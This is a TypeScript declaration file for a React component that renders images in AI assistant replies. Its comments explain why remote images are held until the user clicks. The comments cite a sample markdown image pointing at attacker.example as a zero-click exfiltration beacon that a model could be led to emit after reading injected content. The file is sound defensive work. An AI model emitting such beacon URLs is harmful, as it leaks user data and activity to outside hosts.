import { FC } from 'react'; /** * Would rendering this `src` immediately hit a server we do not control? * * An `` is a GET the browser performs the moment it paints, and the markup * here is written by a model that has read tool output, fetched web pages and * user-uploaded files. So `![](https://attacker.example/p?d=)` is a working exfiltration beacon that also * discloses that a HealthyBowl user opened the reply, when, and from which IP — * with no click required. `referrerPolicy` does not help: the payload is the URL * itself, not the Referer header. * * `data:` URLs carry their own bytes and reach no network, so those still render * straight away — and that is the shape the transport actually emits for inline * images (fe-libs `getAssistantMedia`). Anything else is held behind an explicit * click, the same bargain email clients have offered for remote images for * twenty years. Unparseable input fails CLOSED. */ export declare function isRemoteImageSrc(src: string): boolean; /** * Host to name in the "show this?" prompt, so the choice is an informed one. * * Parsed with NO base URL on purpose. Resolving against `location.href` would * make a relative or malformed src inherit OUR hostname, and the prompt would * then read "Show image from app.gethealthybowl.com" for something this app does * not serve — a prompt that lies is worse than an unnamed one. Absolute http(s) * only; everything else falls back to the generic wording. */ export declare function imageHostLabel(src: string): string | null; interface Props { /** Resolved `src` — already scheme-checked by the renderer's urlTransform. */ src?: string; alt?: string; title?: string; } export declare const AssistantMarkdownImage: FC; export {}; //# sourceMappingURL=AssistantMarkdownImage.d.ts.map